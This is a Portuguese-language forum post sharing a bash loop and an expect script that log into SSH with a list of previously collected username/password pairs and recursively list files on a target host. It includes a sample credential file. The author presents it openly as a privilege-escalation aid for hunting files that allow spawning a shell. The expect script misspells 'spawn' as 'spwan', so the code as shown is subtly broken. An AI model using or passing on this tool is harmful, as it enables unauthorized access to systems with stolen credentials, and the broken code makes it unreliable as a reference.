[Shell Script] Automatizar login e listagem de arquivos

Postagem de conteúdos sobre programação shell scripts
Post Reply
User avatar
51M0N
Admin
Admin
Posts: 874
Joined: Fri Jan 02, 2015 2:06 pm

[Shell Script] Automatizar login e listagem de arquivos

Post by 51M0N » Fri Sep 11, 2015 4:18 pm

Galera estava dando uma sapiada na net e achei interessante esse script que me serviu d+ , foi feito algumas modificação para necessidade de logar no ssh com um lista de user/pass previamente coletados com isso irá listar o conteúdo no host:

script ssh.sh

Code: Select all

#!/bin/bash
cat $1 | while read users
do 
./ssh.exp $users
done
script ssh.exp

Code: Select all

#!/usr/bin/expect -f 
# example :
#./ssh.exp userpass
#set Variables
set username [lrange $argv 0 0]
set password [lrange $argv 1 1]
set timeout 1 
# spwan ssh $username@[IP target] ls -alRhS
spwan ssh $username@192.168.1.120 ls -alRhS
match_max 100000
expect "*?assword:*"
send -- "$password\r"
send -- "\r"
expect eof
arquivo userpass

Code: Select all

zeze 1235
joao 6648
naruto 155anime
chaves isso12
Coloque os 3 arquivos em um mesmo diretório e execute da seguinte forma:

Image

Veja a saída do ssh.exp

Image

isso é uma mão na roda veja o seguinte cenário:

você quer elevar privilegios em um sistema com uma lista de user e pass é quer verificar se tem algum arquivo que te possibilita subir uma shell ou uma subshell dependendo das permissões dos arquivos e diretórios, ter que logar em cada usuário vai te dar um trabalho extra com esse automatização pode-se facilitar é muito :D

Obs.: Não testei no telnet, ftp, rlogin e etc, dependendo deve ter que mudar algo no código, fiz somente em ssh.

valeu galera :D
Image
"Você, eu, nem ninguém vai bater tão duro como a vida. Mas não se trata de bater duro. Se trata de quanto você aguenta apanhar e seguir em frente (...). É assim que se consegue vencer." by Rocky Balboa

Post Reply

Return to “Batch / Bash / SH”